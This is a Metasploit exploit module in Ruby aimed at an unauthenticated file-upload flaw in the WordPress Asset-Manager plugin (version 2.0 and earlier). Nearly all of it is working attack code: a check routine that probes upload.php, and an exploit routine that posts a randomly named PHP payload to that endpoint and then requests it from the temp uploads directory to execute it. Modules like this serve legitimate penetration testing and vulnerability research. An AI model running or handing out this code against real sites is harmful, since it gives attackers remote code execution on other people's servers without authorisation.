##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
      'Description'    => %q(
        This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
        plugin. By abusing the upload.php file, a malicious user can upload a file to a
        temp directory without authentication, which results in arbitrary code execution.
      ),
      'Author'         =>
        [
          'Sammy FORGIT',                           # initial discovery
          'James Fitts <fitts.james[at]gmail.com>'  # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '82653'],
          ['BID', '53809'],
          ['EDB', '18993'],
          ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html'],
          ['WPVDB', '6106']
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['asset-manager <= 2.0', {}]],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2012-05-26'))
  end

  def check
    uri = normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php')

    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => uri
    )

    return Exploit::CheckCode::Unknown if res.nil? || res.code != 200

    Exploit::CheckCode::Detected
  end

  def exploit
    payload_name = "#{rand_text_alpha(5)}.php"

    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
    post_data = data.to_s

    print_status("Uploading payload #{payload_name}")
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => post_data
    )

    if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    register_files_for_cleanup(payload_name)

    print_status("Executing payload #{payload_name}")
    send_request_raw(
      'uri'     => normalize_uri(wordpress_url_wp_content, 'uploads', 'assets', 'temp', payload_name),
      'method'  => 'GET'
    )
  end
end
